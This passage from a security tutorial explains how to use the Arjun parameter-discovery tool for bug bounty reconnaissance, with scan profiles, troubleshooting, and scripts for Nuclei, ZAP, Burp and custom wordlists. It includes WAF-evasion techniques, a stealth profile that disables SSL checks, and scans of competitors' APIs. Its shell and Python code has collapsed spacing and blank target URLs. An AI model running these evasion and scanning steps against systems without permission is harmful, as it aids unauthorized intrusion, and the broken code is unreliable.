listsBATCH_SIZE=100TOTAL_URLS=$(wc -l < urls.txt)BATCHES=$((($TOTAL_URLS + $BATCH_SIZE - 1) / $BATCH_SIZE))echo "[*] Processing $TOTAL_URLS URLs in $BATCHES batches"split -l $BATCH_SIZE urls.txt batch_for batch in batch_*; do echo "[*] Processing batch: $batch" arjun -U $batch \ -t $THREAD_COUNT \ --delay 0.05 \ --timeout 15 \ -o results_${batch}.json \ --stable-rate 0.95 \ -q &donewait# 3. Merge resultsecho "[*] Merging results..."python3 << 'PYTHON'import jsonimport globall_results = []for file in glob.glob('results_batch_*.json'): with open(file) as f: all_results.extend(json.load(f))with open('final_results.json', 'w') as f: json.dump(all_results, f, indent=2)print(f"[+] Merged {len(all_results)} results")PYTHONEOF chmod +x optimize_arjun.sh ``` *** ### **Conclusion** **Arjun is a powerful tool for discovering hidden parameters** that can lead to significant security vulnerabilities. By combining it with other reconnaissance tools, following responsible disclosure practices, and systematically testing discovered parameters, you can significantly improve your bug hunting success rate. #### **Key Takeaways** * **Arjun excels at parameter discovery** with minimal false positives * **Integration with other tools** (subfinder, httpx, gau, waybackurls) creates powerful reconnaissance pipelines * **Passive mode provides stealth** for sensitive engagements * **Custom wordlists improve accuracy** for specific target types * **Systematic vulnerability testing** after parameter discovery maximizes impact * **Responsible disclosure** is essential for maintaining trust and avoiding legal issues #### **Quick Reference Commands** ```bash bashCopy Code # Basic scanarjun -u # Scan multiple URLsarjun -U urls.txt -t10 # Custom wordlistarjun -u -w custom_params.txt # JSON endpointsarjun -u --json # Passive modearjun --passive -U urls.txt # Full pipeline./full_recon.sh example.com ``` **Remember:** Always obtain proper authorization before testing, document your findings thoroughly, and follow responsible disclosure practices. Happy hunting! *** **Article compiled by:** Security Research Team **Last Updated:** March 2026 **Version:** 2.0 *** ### **Troubleshooting Common Issues** #### **Issue 1: High False Positive Rate** **Problem:** Arjun is reporting parameters that don't actually exist. **Solutions:** ```bash bashCopy Code # Increase the stability rate thresholdarjun -u --stable-rate0.95\ --diff-ratio0.20 # Analyze responses manuallyarjun -u -v2>&1|grep"Found" # Test with different wordlistsarjun -u -w wordlist_minimal.txt # Check if target has dynamic responsescurl""> response1.txtcurl""> response2.txtdiff response1.txt response2.txt ``` **Root Causes:** * Target returns different content on every request (dynamic pages) * Target has time-based responses * Target redirects based on parameters * Misconfigured `diff-ratio` threshold *** #### **Issue 2: Timeout and Slow Performance** **Problem:** Arjun is taking too long or timing out frequently. **Solutions:** ```bash bashCopy Code # Reduce timeout and increase delayarjun -u --timeout10\ --delay1\ -t2 # Use fewer threads for unstable connectionsarjun -u -t1 # Increase batch sizearjun -u --batch100 # Test target responsiveness firsttimecurl"" --max-time5 # Check network connectivityping -c3 target.comtraceroute target.com ``` **Optimization Tips:** * Reduce thread count for unstable targets * Increase delay between requests * Use smaller wordlists for initial scans * Test during off-peak hours *** #### **Issue 3: WAF Blocking Requests** **Problem:** Arjun requests are being blocked by Web Application Firewall (WAF). **Solutions:** ```bash bashCopy Code # Add realistic headerscat> headers.txt<<'EOF'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-aliveUpgrade-Insecure-Requests: 1EOF arjun -u --headers-file headers.txt\ --delay2 # Use proxy to distribute requestsarjun -u -p \ --delay1 # Use SOCKS5 proxyarjun -u --socks5127.0.0.1:9050 # Rotate user agentspython3<<'EOF'import subprocessimport randomuser_agents = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/91.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) Firefox/89.0", "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15"]for ua in user_agents: headers = f"User-Agent: {ua}" # Run Arjun with different UA print(f"[*] Testing with UA: {ua}")EOF # Use GET instead of POST (or vice versa)arjun -u --get arjun -u --post # Reduce request rate significantlyarjun -u --delay5\ -t1\ --batch1 ``` **WAF Detection Methods:** ```bash bashCopy Code # Check if WAF is presentcurl -I""|grep -i"server\|x-powered-by" # Common WAF headers# - X-Frame-Options# - X-Content-Type-Options# - Content-Security-Policy# - X-XSS-Protection# - Server: cloudflare, akamai, etc. # Identify WAF typewafw00f ``` *** #### **Issue 4: SSL/TLS Certificate Errors** **Problem:** "SSL: CERTIFICATE\_VERIFY\_FAILED" errors. **Solutions:** ```bash bashCopy Code # Disable SSL verification (use with caution!)arjun -u --verify-sslfalse # Use custom CA certificatearjun -u --cert /path/to/cert.pem # Test SSL connectivityopenssl s_client -connect target.com:443 -servername target.com # Update Python certificates (macOS)/Applications/Python\3.9/Install\ Certificates.command ``` **⚠️ Security Warning:** Only disable SSL verification on trusted networks or for authorized testing. *** #### **Issue 5: Memory Issues with Large Wordlists** **Problem:** Arjun crashes or runs out of memory with large wordlists. **Solutions:** ```bash bashCopy Code # Split wordlist into smaller chunkssplit -l10000 large_wordlist.txt wordlist_ # Process chunks sequentiallyforchunkin wordlist_*;do arjun -u -w$chunk>> results.jsondone # Use more efficient wordlist format# Remove duplicates and commentscat wordlist.txt|sort -u|grep -v"^#"> wordlist_clean.txt # Monitor memory usagewatch -n1'ps aux | grep arjun' # Limit memory usage with system toolsulimit -v2097152# 2GB limitarjun -u -w wordlist.txt ``` *** ### **Advanced Configuration Examples** #### **Configuration 1: Stealth Scanning Profile** ```bash bashCopy Code #!/bin/bash # Ultra-stealthy scanning for sensitive targetsarjun -U urls.txt\ --delay3\ -t1\ --timeout20\ --batch1\ --stable-rate0.98\ --diff-ratio0.25\ --verify-sslfalse\ -q\ -o results.json ``` **Characteristics:** * Single thread (minimal resource usage) * 3-second delay between requests * Batch size of 1 (one request at a time) * High stability threshold (fewer false positives) * Quiet output (less logging) *** #### **Configuration 2: Aggressive Scanning Profile** ```bash bashCopy Code #!/bin/bash # Fast, aggressive scanning for time-constrained testsarjun -U urls.txt\ --delay0.1\ -t20\ --timeout10\ --batch100\ --stable-rate0.85\ --diff-ratio0.10\ -v\ -o results.json ``` **Characteristics:** * 20 concurrent threads * Minimal delay between requests * Lower stability threshold (more findings, more false positives) * Verbose output (detailed logging) *** #### **Configuration 3: API-Focused Scanning Profile** ```bash bashCopy Code #!/bin/bash # Optimized for RESTful API endpointsarjun -U api_urls.txt\ --json\ --delay0.5\ -t10\ --timeout15\ --stable-rate0.92\ -w api_wordlist.txt\ -o api_results.json ``` **API Wordlist (api\_wordlist.txt):** ``` CodeCopy Code # Common API parametersapi_key api_token access_token refresh_token client_id client_secret grant_type scope redirect_uri state nonce include expand fields filter search sort order limit offset page size per_page max_results start end from to format pretty callback version v api_version ``` *** #### **Configuration 4: Bug Bounty Optimized Profile** ```bash bashCopy Code #!/bin/bash # Balanced profile for bug bounty huntingarjun -U urls.txt\ --delay0.3\ -t8\ --timeout15\ --batch50\ --stable-rate0.90\ --diff-ratio0.15\ -w bug_bounty_wordlist.txt\ --headers-file realistic_headers.txt\ -o bounty_results.json ``` *** ### **Integration with Security Automation Platforms** #### **Integration 1: Nuclei Automation** ```bash bashCopy Code #!/bin/bash # Run Arjun, then automatically test with Nuclei echo"[*] Step 1: Discover parameters with Arjun"arjun -U urls.txt -o arjun_results.json -q echo"[*] Step 2: Extract URLs with found parameters"python3<<'EOF'import jsonwith open('arjun_results.json') as f: results = json.load(f)urls_with_params = []for item in results: if item.get('params'): url = item['url'] for param in item['params']: param_url = f"{url}?{param['name']}=NUCLEI_TEST" urls_with_params.append(param_url)with open('nuclei_targets.txt', 'w') as f: f.write('\n'.join(urls_with_params))print(f"[+] Generated {len(urls_with_params)} URLs for Nuclei")EOF echo"[*] Step 3: Run Nuclei on discovered parameters"nuclei -l nuclei_targets.txt\ -t /path/to/nuclei-templates\ -o nuclei_results.json\ -json ``` *** #### **Integration 2: OWASP ZAP Automation** ```bash bashCopy Code #!/bin/bash # Integrate Arjun with OWASP ZAP # 1. Run Arjun to discover parametersarjun -U urls.txt -o arjun_results.json # 2. Convert to ZAP context formatpython3<<'EOF'import jsonimport xml.etree.ElementTree as ETwith open('arjun_results.json') as f: results = json.load(f)# Create ZAP context XMLcontext = ET.Element('context')context.set('id', '1')context.set('name', 'Arjun Discovered Parameters')# Add URLsurls_elem = ET.SubElement(context, 'urls')for item in results: if item.get('params'): url_elem = ET.SubElement(urls_elem, 'url') url_elem.text = item['url']tree = ET.ElementTree(context)tree.write('zap_context.xml')print("[+] Created ZAP context: zap_context.xml")EOF # 3. Import into ZAP# Tools > Options > Import > Select zap_context.xml ``` *** #### **Integration 3: Burp Suite via REST API** ```python pythonCopy Code #!/usr/bin/env python3 import requestsimport jsonimport subprocess # Run Arjunresult= subprocess.run(['arjun','-U','urls.txt','-o','arjun.json'], capture_output=True) # Parse resultswithopen('arjun.json')as f: arjun_results= json.load(f) # Send to Burp via REST APIBURP_API="" for itemin arjun_results: url= item['url'] # Add to Burp site map response= requests.get(f"{BURP_API}/v2/http/request", params={'url': url}) # Send to Scanner scan_data={'url': url,'scannerType':'active'} requests.post(f"{BURP_API}/v2/scan", json=scan_data) print("[+] Sent discovered parameters to Burp Suite") ``` *** ### **Creating Custom Wordlists for Specific Targets** #### **Technique 1: JavaScript Analysis** ```python pythonCopy Code #!/usr/bin/env python3 import reimport requestsfrom urllib.parseimport urljoinimport sys defextract_params_from_js(url):"""Extract parameter names from JavaScript files""" params=set() try: response= requests.get(url, timeout=10) content= response.text # Pattern 1: URL parameters url_params= re.findall(r'[?&](\w+)=', content) params.update(url_params) # Pattern 2: Fetch/AJAX calls fetch_params= re.findall(r'fetch\(["\']([^"\']+)["\']', content)for fetch_urlin fetch_params: url_parts= re.findall(r'[?&](\w+)=', fetch_url) params.update(url_parts) # Pattern 3: jQuery AJAX ajax_params= re.findall(r'\.ajax\({[^}]*data\s*:\s*{([^}]+)}', content)for ajax_datain ajax_params: ajax_keys= re.findall(r'(\w+)\s*:', ajax_data) params.update(ajax_keys) # Pattern 4: Axios calls axios_params= re.findall(r'axios\.[a-z]+\(["\']([^"\']+)["\']', content)for axios_urlin axios_params: url_parts= re.findall(r'[?&](\w+)=', axios_url) params.update(url_parts) # Pattern 5: Object property access patterns prop_access= re.findall(r'\bparams\.(\w+)\b', content) params.update(prop_access) prop_access2= re.findall(r'\bdata\.(\w+)\b', content) params.update(prop_access2) except Exceptionas e:print(f"[-] Error processing{url}:{e}",file=sys.stderr) return params if __name__=="__main__": target= sys.argv[1] # Get all JS files from target js_files=[f"{target}/app.js",f"{target}/main.js",f"{target}/bundle.js",f"{target}/script.js"] all_params=set() for js_filein js_files:print(f"[*] Analyzing:{js_file}",file=sys.stderr) params= extract_params_from_js(js_file) all_params.update(params) # Output wordlistfor paraminsorted(all_params):print(param) ``` **Usage:** ```bash bashCopy Code python3 extract_js_params.py https://target.com> custom_wordlist.txtarjun -U urls.txt -w custom_wordlist.txt ``` *** #### **Technique 2: GitHub Source Code Mining** ```bash #!/bin/bash TARGET_DOMAIN="example.com" # Search GitHub for references to target domainecho"[*] Searching GitHub for parameter usage..." # Use GitHub API (requires authentication for higher rate limits)GITHUB_TOKEN="your_token_here" curl -H"Authorization: token$GITHUB_TOKEN"\""\| jq'.items[].name'> github_results.txt # Extract parameter names from code snippetsgrep -oE'\b[a-z_]+=' github_results.txt|sed's/=//'|sort -u> github_params.txt echo"[+] Found$(wc -l< github_params.txt) parameters from GitHub" ``` *** #### **Technique 3: Competitor Analysis** ```bash #!/bin/bash # **Analyze competitor APIs for common parameters** COMPETITORS=("competitor1.com" "competitor2.com" "competitor3.com") COMMON_PARAMS="" for competitor in "${COMPETITORS[@]}"; do echo "[*] Analyzing: $competitor" ``` ``` Get URLs from wayback machinewaybackurls \$competitor | grep "/api" > \${competitor}_urls.txt ``` ## Extract parameters ``` grep -oE '\b[a-z\_]+=' \${competitor}_urls.txt | sed 's/=//' >> common\_params.txt done ```